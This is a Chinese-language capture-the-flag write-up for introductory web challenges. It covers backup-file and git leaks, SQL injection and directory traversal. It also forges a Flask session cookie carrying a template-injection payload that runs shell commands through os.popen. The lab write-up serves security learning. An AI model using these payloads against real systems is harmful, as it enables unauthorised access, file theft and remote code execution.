CTFER从0到1web入门
[第一章 web入门]常见的搜集
1. 信息收集,先看一下robots协议
2. 看一下给出的文件
flag1:n1book{info_1
3. 利用dirsearch工具扫一下后台备份文件
使用dirsearch
工具,可能需要的时间比较长
flag2:s_v3ry_im
4. 检测有没有git备份
利用scrabble
没有git
泄漏
5. 尝试其他的泄漏
经过尝试是swp
泄漏
http://a81e79bd-3a29-4095-967b-abc6a88366f2.node3.buuoj.cn/.index.php.swap
得到swp文件
将其恢复
vim -r index.php
由于mac的原因,无法恢复,直接打开看看
vim index.php.swp
//出现提示后,接空格
就可以看到了flag3
p0rtant_hack}
[第一章 web入门]粗心的小李
1. 根据提示应该是,git回滚
利用gitHack
,下载网站源码
python2 GitHack.py http://cb28608e-55f8-4dd3-98c7-f3a74b2abb0d.node3.buuoj.cn/.git/
一定是python2;
进入网站目录,查看生成的index.html
找到flag
第二种方式:
利用书中的工具,但是mac不能,可以在ubuntu上运行
sudo ./scrabble http://241be2ec-4c28-4fc6-bebc-49e5484606be.node3.buuoj.cn/
然后
ls
发现index.html
最后
git log --stat
或者
git reset --hard HEAD^这里会报错
找到是否有不同,最后直接打开index.html
,寻找flag
OK
[第一章 web入门]SQL注入-1
直接union注入,注意最后的列名。。。
[第一章 web入门]SQL注入-2
盲注即可
[第一章 web入门]afr_1
php伪协议直接过滤读取flag即可
[第一章 web入门]afr_2
目录穿越
查看源代码,发现有img目录,直接目录穿越
读取flag
[第一章 web入门]afr_3
Linux 内核提供了一种通过 proc 文件系统,在运行时访问内核内部数据结构、改变内核设置的机制。proc 文件系统是一个伪文件系统,它只存在内存当中,而不占用外存空间。它以文件系统的方式为访问系统内核数据的操作提供接口。
可以通过proc,查看当前正在运行的文件(系统进程)
1. 先随便输入,到达article
界面,url里面有个article
参数,尝试proc/self/cmdline
2. 我们需要回到顶级目录寻找
3.查看这个文件
http://f76ee598-69ae-4965-9569-e13b9a11926d.node3.buuoj.cn/article?name=../../../proc/self/cwd/server.py
查看源码,比较清晰
这里用到session的编码工具flask-session-cookie-manager
先得到编码文件
Drmhze6EPcv0fN_81Bj-nA
初始情况:
构造payload,查看是否存在模板注入漏洞
构造方式,首先,需要满足session是字典的格式,其次,字典的值的语法要满足模板注入的框架语法
python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code':'{{\'\'.__class__.__mro__[2]}}'}"
//密文
eyJuMWNvZGUiOiJ7eycnLl9fY2xhc3NfXy5fX21yb19fWzJdfX0ifQ.YLG6gg.7ccRRfxrzC2WT4XhNg2SCW-HiyQ
在n1page界面,把密文当作session传过去
可以看到我们构造的payload
生成了结果,存在模板注入
python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code':'{{\'\'.__class__.__mro__[2].__subclasses__()}}'}"
这时候就需要一个脚本(马上去学),跑出包含os的类。。
直接payload
python3 flask_session_cookie_manager3.py encode -s "Drmhze6EPcv0fN_81Bj-nA" -t "{'n1code': '{{\'\'.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__[\'os\'].popen(\'cat flag.py\').read()}}'}"
得到flag